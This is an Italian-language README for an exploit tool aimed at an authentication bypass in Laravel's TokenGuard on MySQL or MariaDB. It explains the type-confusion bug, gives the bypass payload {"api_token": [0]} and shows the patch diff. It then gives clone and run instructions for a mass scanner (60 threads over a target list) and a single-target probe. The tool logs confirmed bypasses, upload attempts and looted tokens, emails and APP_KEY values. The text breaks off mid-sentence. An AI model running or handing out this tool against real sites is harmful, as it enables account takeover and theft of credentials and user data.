
Bypass dell'autenticazione di Laravel TokenGuard tramite credenziali API non stringa
Bypass dell'autenticazione di Laravel TokenGuard tramite credenziali API non stringa
Bypass dell'autenticazione non autenticato in Laravel Framework — Guard API TokenGuard
CVE-2026-114509 è una vulnerabilità critica di bypass dell'autenticazione nel TokenGuard integrato di Laravel Framework.
Quando configurato con un guard API standard basato su token su MySQL o MariaDB, un attaccante non autenticato può inviare una credenziale non stringa appositamente costruita (un array JSON) che fa sì che la ricerca di autenticazione corrisponda a un utente esistente non previsto — concedendo pieno accesso senza conoscere alcun token API valido.
Ciò porta a una compromissione completa dell'account su qualsiasi route protetta dal guard interessato.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Software interessato | Laravel Framework (laravel/framework) |
| Versioni interessate | < 12.68.0 e >= 13.0.0, < 13.29.0 |
| Tipo | Bypass dell'autenticazione |
| CWE | CWE-287 — Autenticazione impropria |
| CWE | CWE-1287 — Validazione impropria del tipo di input specificato |
| Punteggio CVSS 4.0 | 9.2 / 10 — CRITICO |
| Vettore CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Autenticazione | Nessuna richiesta (Pre-Auth) |
| Condizione | Backend MySQL / MariaDB |
| Patch | v12.68.0 / v13.29.0 |
| Metrica | Valore | Significato |
|---|---|---|
| Vettore di attacco | Network | Sfruttabile da remoto via internet |
| Complessità di attacco | Bassa | Nessuna condizione speciale oltre a MySQL/MariaDB |
| Requisiti di attacco | Presenti | Richiede il comportamento di coercizione dei tipi di MySQL/MariaDB |
| Privilegi richiesti | Nessuno | Nessuna autenticazione necessaria |
| Interazione utente | Nessuna | Nessuna azione della vittima richiesta |
| Riservatezza | Alta | Pieno accesso in lettura ai dati dell'utente autenticato |
| Integrità | Alta | Può modificare i dati come l'utente di cui è stato effettuato il bypass |
| Disponibilità | Alta | Può interrompere il servizio tramite la compromissione dell'account |
Si tratta di un bug di confusione di tipi al confine tra il parsing delle richieste HTTP, la logica del framework PHP e il comportamento del database SQL. Tre comportamenti ordinari si allineano per creare la vulnerabilità:
TokenGuard accetta input non stringa — Il metodo user() in TokenGuard.php usa !empty($token) invece di is_string($token) && !empty($token). I corpi delle richieste JSON possono fornire array o interi come valore del token.
EloquentUserProvider costruisce una query WHERE IN — Quando retrieveByCredentials() riceve un valore array, genera WHERE api_token IN (...) invece di WHERE api_token = ....
Coercizione dei tipi di MySQL — MySQL converte le colonne stringa in numeri per il confronto. L'intero 0 corrisponde a qualsiasi stringa che non inizia con una cifra (che è la maggior parte dei token API), perché MySQL converte quelle stringhe in 0.0.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel ha corretto TokenGuard.php aggiungendo un controllo di tipo — se il token non è una stringa, il guard restituisce immediatamente null e non chiama mai il provider utente:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
Lo strumento supporta due modalità: scansione massiva e sonda approfondita su singolo target.
Scansiona un elenco di target alla ricerca della vulnerabilità:
python CVE-2026-114509.py scan targets.txt
Opzioni:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Flag | Predefinito | Descrizione |
|---|---|---|
targets | (obbligatorio) | File con gli URL di destinazione (uno per riga) |
--threads | 60 | Numero di thread concorrenti |
--timeout | 12 | Timeout della richiesta in secondi |
Formato del file dei target (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
I target senza schema predefinito usano
https://.
File di output (creati nella directory dello script):
| File | Contenuto |
|---|---|
LV_DETECTED.txt | Tutte le applicazioni Laravel rilevate |
LV_BYPASS.txt | Bypass di autenticazione confermati |
LV_UPLOAD.txt | Risultati dei tentativi di upload |
LV_LOOT.txt | Dati estratti (token, email, APP_KEY, dati utente) |
Sonda in profondità un singolo target con output dettagliato:
python CVE-2026-114509.py single https://target.com
Opzioni:
python CVE-2026-114509.py single https://target.com --timeout 15
Questo esegue tutte e quattro le fasi in sequenza con output dettagliato: